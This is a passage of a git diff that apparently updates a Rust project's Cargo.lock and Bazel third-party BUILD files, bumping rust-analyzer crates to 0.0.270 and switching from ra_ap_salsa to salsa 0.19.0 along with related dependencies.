misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_project_model-0.0.266.bazel => BUILD.ra_ap_project_model-0.0.270.bazel} (78%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_span-0.0.266.bazel => BUILD.ra_ap_span-0.0.270.bazel} (87%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_stdx-0.0.266.bazel => BUILD.ra_ap_stdx-0.0.270.bazel} (97%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_syntax-0.0.266.bazel => BUILD.ra_ap_syntax-0.0.270.bazel} (90%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_syntax-bridge-0.0.266.bazel => BUILD.ra_ap_syntax-bridge-0.0.270.bazel} (82%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_toolchain-0.0.266.bazel => BUILD.ra_ap_toolchain-0.0.270.bazel} (98%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_tt-0.0.266.bazel => BUILD.ra_ap_tt-0.0.270.bazel} (91%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_vfs-0.0.266.bazel => BUILD.ra_ap_vfs-0.0.270.bazel} (93%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_vfs-notify-0.0.266.bazel => BUILD.ra_ap_vfs-notify-0.0.270.bazel} (90%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_salsa-0.0.266.bazel => BUILD.salsa-0.19.0.bazel} (85%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.serde-1.0.218.bazel => BUILD.serde-1.0.219.bazel} (96%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.serde_derive-1.0.218.bazel => BUILD.serde_derive-1.0.219.bazel} (95%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.serde_json-1.0.139.bazel => BUILD.serde_json-1.0.140.bazel} (96%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.syn-2.0.98.bazel => BUILD.syn-2.0.100.bazel} (96%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_salsa-macros-0.0.266.bazel => BUILD.windows-implement-0.58.0.bazel} (92%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel diff --git a/Cargo.lock b/Cargo.lock index a7cf3370ac1..7719e26ffd2 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -18,13 +18,10 @@ dependencies = [ ] [[package]] -name = "always-assert" -version = "0.2.0" +name = "allocator-api2" +version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1078fa1ce1e34b1872d8611ad921196d76bdd7027e949fbe31231abde201892" -dependencies = [ - "tracing", -] +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" [[package]] name = "android-tzdata" @@ -93,9 +90,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.96" +version = "1.0.97" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b964d184e89d9b6b67dd2715bc8e74cf3107fb2b529990c90cf517326150bf4" +checksum = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f" [[package]] name = "argfile" @@ -170,6 +167,15 @@ dependencies = [ "cfg_aliases", ] +[[package]] +name = "boxcar" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6740c6e2fc6360fa57c35214c7493826aee95993926092606f27c983b40837be" +dependencies = [ + "loom", +] + [[package]] name = "bstr" version = "1.11.3" @@ -253,9 +259,9 @@ checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" [[package]] name = "chalk-derive" -version = "0.99.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "572583d9b97f9d277e5c7607f8239a30e2e04d3ed3b47c87d1cb2152ae724073" +checksum = "ab2d131019373f0d0d1f2af0abd4f719739f6583c1b33965112455f643a910af" dependencies = [ "proc-macro2", "quote", @@ -265,9 +271,9 @@ dependencies = [ [[package]] name = "chalk-ir" -version = "0.99.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e60e0ef9c81dce1336a9ed3c76f08775f5b623151d96d85ba45f7b10de76d1c7" +checksum = "4f114996bda14c0213f014a4ef31a7867dcf5f539a3900477fc6b20138e7a17b" dependencies = [ "bitflags 2.8.0", "chalk-derive", @@ -275,9 +281,9 @@ dependencies = [ [[package]] name = "chalk-recursive" -version = "0.99.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a06350d614e22b03a69b8105e3541614450a7ea48bc58ecc6c6bd92731a3995" +checksum = "551e956e031c09057c7b21f17d48d91de99c9b6b6e34bceaf5e7202d71021268" dependencies = [ "chalk-derive", "chalk-ir", @@ -288,9 +294,9 @@ dependencies = [ [[package]] name = "chalk-solve" -version = "0.99.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e428761e9b55bee516bfe2457caed8b6d1b86353f92ae825bbe438a36ce91e8" +checksum = "cd7ca50181156ce649efe8e5dd00580f573651554e4dcd11afa4e2ac93f53324" dependencies = [ "chalk-derive", "chalk-ir", @@ -304,9 +310,9 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.39" +version = "0.4.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e36cc9d416881d2e24f9a963be5fb1cd90966419ac844274161d10488b3e825" +checksum = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c" dependencies = [ "android-tzdata", "iana-time-zone", @@ -314,14 +320,14 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.52.6", + "windows-link", ] [[package]] name = "clap" -version = "4.5.31" +version = "4.5.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "027bb0d98429ae334a8698531da7077bdf906419543a35a55c2cb1b66437d767" +checksum = "6088f3ae8c3608d19260cd7445411865a485688711b78b5be70d78cd96136f83" dependencies = [ "clap_builder", "clap_derive", @@ -329,9 +335,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.31" +version = "4.5.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5589e0cba072e0f3d23791efac0fd8627b49c829c196a492e88168e6a669d863" +checksum = "22a7ef7f676155edfb82daa97f99441f3ebf4a58d5e32f295a56259f1b6facc8" dependencies = [ "anstream", "anstyle", @@ -341,11 +347,11 @@ dependencies = [ [[package]] name = "clap_derive" -version = "4.5.28" +version = "4.5.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf4ced95c6f4a675af3da73304b9ac4ed991640c36374e4b46795c49e17cf1ed" +checksum = "09176aae279615badda0765c0c0b3f6ed53f4709118af73cf4655d85d1530cd7" dependencies = [ - "heck 0.5.0", + "heck", "proc-macro2", "quote", "syn", @@ -505,6 +511,15 @@ dependencies = [ "crossbeam-utils", ] +[[package]] +name = "crossbeam-queue" +version = "0.3.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115" +dependencies = [ + "crossbeam-utils", +] + [[package]] name = "crossbeam-utils" version = "0.8.21" @@ -559,6 +574,20 @@ dependencies = [ "parking_lot_core", ] +[[package]] +name = "dashmap" +version = "6.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown 0.14.5", + "lock_api", + "once_cell", + "parking_lot_core", +] + [[package]] name = "deranged" version = "0.3.11" @@ -583,9 +612,9 @@ checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" [[package]] name = "either" -version = "1.14.0" +version = "1.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7914353092ddf589ad78f25c5c1c21b7f80b0ff8621e7c814c3485b5306da9d" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" [[package]] name = "ena" @@ -714,6 +743,12 @@ version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + [[package]] name = "fs-err" version = "2.11.0" @@ -738,6 +773,19 @@ version = "0.4.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7ab85b9b05e3978cc9a9cf8fea7f01b494e1a09ed3037e16ba39edc7a29eb61a" +[[package]] +name = "generator" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bd114ceda131d3b1d665eba35788690ad37f5916457286b32ab6fd3c438dd" +dependencies = [ + "cfg-if", + "libc", + "log 0.4.25", + "rustversion", + "windows", +] + [[package]] name = "getrandom" version = "0.3.1" @@ -786,12 +834,20 @@ name = "hashbrown" version = "0.15.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] [[package]] -name = "heck" -version = "0.4.1" +name = "hashlink" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +checksum = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1" +dependencies = [ + "hashbrown 0.15.2", +] [[package]] name = "heck" @@ -831,7 +887,7 @@ dependencies = [ "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows-core", + "windows-core 0.52.0", ] [[package]] @@ -1027,6 +1083,19 @@ version = "0.4.25" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04cbf5b083de1c7e0222a7a51dbfdba1cbe1c6ab0b15e29fff3f6c077fd9cd9f" +[[package]] +name = "loom" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "419e0dc8046cb947daa77eb95ae174acfbddb7673b4151f56d1eed8e93fbfaca" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "tracing", + "tracing-subscriber", +] + [[package]] name = "lz4_flex" version = "0.11.3" @@ -1271,6 +1340,12 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" +[[package]] +name = "portable-atomic" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e" + [[package]] name = "powerfmt" version = "0.2.0" @@ -1288,9 +1363,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.93" +version = "1.0.94" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "60946a68e5f9d28b0dc1c21bb8a97ee7d018a8b322fa57838ba31cc878e22d99" +checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84" dependencies = [ "unicode-ident", ] @@ -1310,18 +1385,18 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.38" +version = "1.0.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" dependencies = [ "proc-macro2", ] [[package]] name = "ra-ap-rustc_abi" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3829c3355d1681ffeaf1450ec71edcdace6820fe2e86469d8fc1ad45e2c96460" +checksum = "f1651b0f7e8c3eb7c27a88f39d277e69c32bfe58e3be174d286c1a24d6a7a4d8" dependencies = [ "bitflags 2.8.0", "ra-ap-rustc_hashes", @@ -1331,18 +1406,18 @@ dependencies = [ [[package]] name = "ra-ap-rustc_hashes" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bd4d6d4c434bec08e02370a4f64a4985312097215a62e82d0f757f3a98e502e" +checksum = "2bcd85e93dc0ea850bcfe7957a115957df799ccbc9eea488bdee5ec6780d212b" dependencies = [ "rustc-stable-hash", ] [[package]] name = "ra-ap-rustc_index" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bad6fc4bd7522e31096e2de5b0351144fe0684b608791ee26c842bf2da1b19ae" +checksum = "62b295fc0640cd9fe0ecab872ee4a17a96f90a3998ec9f0c4765e9b8415c12cc" dependencies = [ "ra-ap-rustc_index_macros", "smallvec", @@ -1350,9 +1425,9 @@ dependencies = [ [[package]] name = "ra-ap-rustc_index_macros" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cfb234e1f84b92be45276c3025bee18789e9bc95bec8789bec961e78edb01c52" +checksum = "c675f4257023aa933882906f13802cae287e88cc39ab13cbb96809083db0c801" dependencies = [ "proc-macro2", "quote", @@ -1361,9 +1436,9 @@ dependencies = [ [[package]] name = "ra-ap-rustc_lexer" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a3a40bd11dc43d1cb110e730b80620cf8102f4cca8920a02b65954da0ed931f" +checksum = "c8358702c2a510ea84ba5801ddc047d9ad9520902cfb0e6173277610cdce2c9c" dependencies = [ "memchr", "unicode-properties", @@ -1372,9 +1447,9 @@ dependencies = [ [[package]] name = "ra-ap-rustc_parse_format" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5feb877478994cb4c0c0c7a5116a352eefc0634aefc8636feb00a893fa5b7135" +checksum = "b98f402011d46732c35c47bfd111dec0495747fef2ec900ddee7fe15d78449a7" dependencies = [ "ra-ap-rustc_index", "ra-ap-rustc_lexer", @@ -1382,9 +1457,9 @@ dependencies = [ [[package]] name = "ra-ap-rustc_pattern_analysis" -version = "0.97.0" +version = "0.100.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a76774d35934d464c4115908cde16f76a4f7e540fe1eea6b79336c556e37bdd3" +checksum = "bef3ff73fa4653252ffe1d1e9177a446f49ef46d97140e4816b7ff2dad59ed53" dependencies = [ "ra-ap-rustc_index", "rustc-hash 2.1.1", @@ -1395,20 +1470,22 @@ dependencies = [ [[package]] name = "ra_ap_base_db" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d8e4a327f1a8ace5afced54ebaa1a34f8cf0bb535a28aefb8300e8ea49a7d6e" +checksum = "4baa9734d254af14fd603528ad594650dea601b1764492bd39988da38598ae67" dependencies = [ + "dashmap 5.5.3", "la-arena", "lz4_flex", "ra_ap_cfg", "ra_ap_intern", - "ra_ap_salsa", + "ra_ap_query-group-macro", "ra_ap_span", "ra_ap_stdx", "ra_ap_syntax", "ra_ap_vfs", "rustc-hash 2.1.1", + "salsa", "semver", "tracing", "triomphe", @@ -1416,9 +1493,9 @@ dependencies = [ [[package]] name = "ra_ap_cfg" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d974450788b1f90243c5f2231875ed4d7087444975c0190a1c2cb02c3ed465d" +checksum = "0ef2ba45636c5e585040c0c4bee640737a6001b08309f1a25ca78cf04abfbf90" dependencies = [ "ra_ap_intern", "ra_ap_tt", @@ -1428,15 +1505,15 @@ dependencies = [ [[package]] name = "ra_ap_edition" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3b1b961a84cb09a4e06e44d06b2e77bcf546d0c2623df9545ba9cc694880989" +checksum = "8955c1484d5e7274f755187788ba0d51eb149f870c69cdf0d87c3b7edea20ea0" [[package]] name = "ra_ap_hir" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff0672e35a6cf12333cb6b9e3fd18aba4bc724fa7c7b24c3253df4730be1f9c3" +checksum = "a51d7955beff2212701b149bea36d4cf2dc0f5cd129652c9bcf0cb5c0b021078" dependencies = [ "arrayvec", "either", @@ -1460,14 +1537,14 @@ dependencies = [ [[package]] name = "ra_ap_hir_def" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fde2fb9361257e31e73e63eb2d07445ea3fd4cd1e7bae7f45e7ba82bcfcde29a" +checksum = "e5c97e617e4c585d24b3d4f668861452aedddfbe0262f4c53235dcea77e62f9b" dependencies = [ "arrayvec", "bitflags 2.8.0", "cov-mark", - "dashmap", + "dashmap 5.5.3", "drop_bomb", "either", "fst", @@ -1483,12 +1560,14 @@ dependencies = [ "ra_ap_hir_expand", "ra_ap_intern", "ra_ap_mbe", + "ra_ap_query-group-macro", "ra_ap_span", "ra_ap_stdx", "ra_ap_syntax", "ra_ap_tt", "rustc-hash 2.1.1", "rustc_apfloat", + "salsa", "smallvec", "text-size", "tracing", @@ -1497,9 +1576,9 @@ dependencies = [ [[package]] name = "ra_ap_hir_expand" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1823b649710bf1829c894f774dfe66acb33a3e5bc7409ff7836cd19f6e09c250" +checksum = "be57c0d7e3f2180dd8ea584b11447f34060eadc06f0f6d559e2a790f6e91b6c5" dependencies = [ "cov-mark", "either", @@ -1511,12 +1590,14 @@ dependencies = [ "ra_ap_intern", "ra_ap_mbe", "ra_ap_parser", + "ra_ap_query-group-macro", "ra_ap_span", "ra_ap_stdx", "ra_ap_syntax", "ra_ap_syntax-bridge", "ra_ap_tt", "rustc-hash 2.1.1", + "salsa", "smallvec", "tracing", "triomphe", @@ -1524,9 +1605,9 @@ dependencies = [ [[package]] name = "ra_ap_hir_ty" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72a591a02787bd2e938c25fceb1f831d0929b9c08726e6d831f85c4a9fba04b5" +checksum = "f260f35748f3035b46a8afcdebda7cb75d95c24750105fad86101d09a9d387c8" dependencies = [ "arrayvec", "bitflags 2.8.0", @@ -1535,6 +1616,7 @@ dependencies = [ "chalk-recursive", "chalk-solve", "cov-mark", + "dashmap 5.5.3", "either", "ena", "indexmap 2.7.0", @@ -1543,18 +1625,19 @@ dependencies = [ "nohash-hasher", "oorandom", "ra-ap-rustc_abi", - "ra-ap-rustc_hashes", "ra-ap-rustc_index", "ra-ap-rustc_pattern_analysis", "ra_ap_base_db", "ra_ap_hir_def", "ra_ap_hir_expand", "ra_ap_intern", + "ra_ap_query-group-macro", "ra_ap_span", "ra_ap_stdx", "ra_ap_syntax", "rustc-hash 2.1.1", "rustc_apfloat", + "salsa", "scoped-tls", "smallvec", "tracing", @@ -1564,14 +1647,15 @@ dependencies = [ [[package]] name = "ra_ap_ide_db" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c74386061453edc3ebfd52141c7c3cde109a7427faff9792a303c3c09a762a01" +checksum = "0426263be26e27cb55a3b9ef88b120511b66fe7d9b418a2473d6d5f3ac2fe0a6" dependencies = [ "arrayvec", "bitflags 2.8.0", "cov-mark", "crossbeam-channel", + "dashmap 5.5.3", "either", "fst", "indexmap 2.7.0", @@ -1583,22 +1667,25 @@ dependencies = [ "ra_ap_hir", "ra_ap_parser", "ra_ap_profile", + "ra_ap_query-group-macro", "ra_ap_span", "ra_ap_stdx", "ra_ap_syntax", + "ra_ap_vfs", "rayon", "rustc-hash 2.1.1", + "salsa", "tracing", "triomphe", ] [[package]] name = "ra_ap_intern" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8239ffde688b558a4335f03d14fa42dcebb203f452367830554b18e17ff1c683" +checksum = "f6ea8c9615b3b0688cf557e7310dbd9432f43860c8ea766d54f4416cbecf3571" dependencies = [ - "dashmap", + "dashmap 5.5.3", "hashbrown 0.14.5", "rustc-hash 2.1.1", "triomphe", @@ -1606,9 +1693,9 @@ dependencies = [ [[package]] name = "ra_ap_load-cargo" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01dd50ca287042b06ca3cc62b60e6891bacee3886d39381d26f9f966e509b1c7" +checksum = "570907e16725c13a678bfd8050ce8839af2831da042a0878b75ee8c41b0f7b0c" dependencies = [ "anyhow", "crossbeam-channel", @@ -1628,9 +1715,9 @@ dependencies = [ [[package]] name = "ra_ap_mbe" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c193592a0d1dcd315cf8c60f25d37a15c6b50c2b58bfbc6eac38b123e45c8c21" +checksum = "e893fe03b04b30c9b5a339ac2bf39ce32ac9c05a8b50121b7d89ce658346e164" dependencies = [ "arrayvec", "cov-mark", @@ -1649,9 +1736,9 @@ dependencies = [ [[package]] name = "ra_ap_parser" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b380f96951dd56b8231eeb47884fea12c57b8515ac748eedd590b26cd156681c" +checksum = "6fd9a264120968b14a66b6ba756cd7f99435385b5dbc2f0a611cf3a12221c385" dependencies = [ "drop_bomb", "ra-ap-rustc_lexer", @@ -1661,18 +1748,18 @@ dependencies = [ [[package]] name = "ra_ap_paths" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0801105582f532bc59a2b5714a30966c4cf9bd3e5b66f4161763c1d974d2c7d5" +checksum = "f47817351651e36b56ff3afc483b41600053c9cb7e67d945467c0abe93416032" dependencies = [ "camino", ] [[package]] name = "ra_ap_proc_macro_api" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da377b243e376b82819f875c1c6624125d27b682a740bd4cafc30b4f496d0ffa" +checksum = "d96da3b8b9f6b813a98f5357eef303905450741f47ba90adaab8a5371b748416" dependencies = [ "indexmap 2.7.0", "ra_ap_intern", @@ -1689,9 +1776,9 @@ dependencies = [ [[package]] name = "ra_ap_profile" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6d1391bee4f86e56385438a2dcb739cbb96bd0fbf49799a492332d57e6db62" +checksum = "13637377287c84f88a628e40229d271ef0081c0d683956bd99a6c8278a4f8b14" dependencies = [ "cfg-if", "libc", @@ -1701,9 +1788,9 @@ dependencies = [ [[package]] name = "ra_ap_project_model" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e8b1ac2712d5f6a20197b360890031e64b4ea097b511f50e2cb8ab1a0e24f577" +checksum = "053c5207a638fc7a752c7a454bc952b28b0d02f0bf9f6d7ec785ec809579d8fa" dependencies = [ "anyhow", "cargo_metadata", @@ -1726,71 +1813,54 @@ dependencies = [ ] [[package]] -name = "ra_ap_salsa" -version = "0.0.266" +name = "ra_ap_query-group-macro" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc3a0a272f50e2ab831452bd3f4e7f8a571ccf01282d76f4a078f661135ed0ce" +checksum = "0f1a38f07b442e47a234cbe2e8fd1b8a41ff0cc5123cb1cf994c5ce20edb5bd6" dependencies = [ - "indexmap 2.7.0", - "itertools 0.12.1", - "lock_api", - "oorandom", - "parking_lot", - "ra_ap_salsa-macros", - "rustc-hash 2.1.1", - "smallvec", - "tracing", - "triomphe", -] - -[[package]] -name = "ra_ap_salsa-macros" -version = "0.0.266" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5d59b47a54fd5468ce0dc03b146afd0932ae0f3d05a5c15ca78d29d5e85bc31" -dependencies = [ - "heck 0.4.1", + "heck", "proc-macro2", "quote", + "salsa", "syn", ] [[package]] name = "ra_ap_span" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f10dbdd611d2546be7c400934007865e85bb37570566c715edb3aac76367a782" +checksum = "8818680c6f7da3b32cb2bb0992940b24264b1aa90203aa94812e09ab34d362d1" dependencies = [ "hashbrown 0.14.5", "la-arena", - "ra_ap_salsa", "ra_ap_stdx", "ra_ap_syntax", "ra_ap_vfs", "rustc-hash 2.1.1", + "salsa", "text-size", ] [[package]] name = "ra_ap_stdx" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7d5c58fcda9b35d61e23f334b2b11221abf53e7f5e4344fc7eb1de18b2cbf68" +checksum = "f1c10bee1b03fc48083862c13cf06bd3ed17760463ecce2734103a2f511e5ed4" dependencies = [ - "always-assert", "crossbeam-channel", "itertools 0.12.1", "jod-thread", "libc", "miow", + "tracing", "windows-sys 0.59.0", ] [[package]] name = "ra_ap_syntax" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75334f45a8095223823ef1d2789c085460b7b9368c63a6430d46f6f2b9bd5cb5" +checksum = "92bc32f3946fc5fcbdc79e61b7e26a8c2a3a56f3ef6ab27c7d298a9e21a462f2" dependencies = [ "cov-mark", "either", @@ -1808,9 +1878,9 @@ dependencies = [ [[package]] name = "ra_ap_syntax-bridge" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b331a50f90ae587d230b1b55b3852ebf67ab740dec33c1a4b0900005037e77c2" +checksum = "a42052c44c98c122c37aac476260c8f19d8fec495edc9c05835307c9ae86194d" dependencies = [ "ra_ap_intern", "ra_ap_parser", @@ -1824,9 +1894,9 @@ dependencies = [ [[package]] name = "ra_ap_toolchain" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d56e1b3a34eac0448e54afccf63a6b7699ef14a734b2f1b340246ccdd00c0d3" +checksum = "75996e70b3a0c68cd5157ba01f018964c7c6a5d7b209047d449b393139d0b57f" dependencies = [ "camino", "home", @@ -1834,9 +1904,9 @@ dependencies = [ [[package]] name = "ra_ap_tt" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b974b1211e0b1e17e44b1f256ca1b4a3734d4d98f43ba09ee0a8476fc3a5b83" +checksum = "0e4ee31e93bfabe83e6720b7469db88d7ad7ec5c59a1f011efec4aa1327ffc5c" dependencies = [ "arrayvec", "ra-ap-rustc_lexer", @@ -1847,9 +1917,9 @@ dependencies = [ [[package]] name = "ra_ap_vfs" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b004e20f901dae213cb1673111a2b56fec4f0d1c4c894b62668a0f69ce25065" +checksum = "f6aac1e277ac70bb073f40f8a3fc44e4b1bb9e4d4b1d0e0bd2f8269543560f80" dependencies = [ "crossbeam-channel", "fst", @@ -1863,9 +1933,9 @@ dependencies = [ [[package]] name = "ra_ap_vfs-notify" -version = "0.0.266" +version = "0.0.270" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95f9e8df03407d76e044f99ef45fafd686d775508aa7d1ba836e9eca58b833a3" +checksum = "cd95285146049621ee8f7a512c982a008bf036321fcc9b01a95c1ad7e6aeae57" dependencies = [ "crossbeam-channel", "notify", @@ -2030,12 +2100,59 @@ dependencies = [ "smallvec", ] +[[package]] +name = "rustversion" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2" + [[package]] name = "ryu" version = "1.0.19" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6ea1a2d0a644769cc99faa24c3ad26b379b786fe7c36fd3c546254801650e6dd" +[[package]] +name = "salsa" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd55c6549513b2a42884dae31e3d4f4ac8a6cc51062e68e24d162133889f327c" +dependencies = [ + "boxcar", + "crossbeam-queue", + "dashmap 6.1.0", + "hashbrown 0.15.2", + "hashlink", + "indexmap 2.7.0", + "parking_lot", + "portable-atomic", + "rayon", + "rustc-hash 2.1.1", + "salsa-macro-rules", + "salsa-macros", + "smallvec", + "tracing", +] + 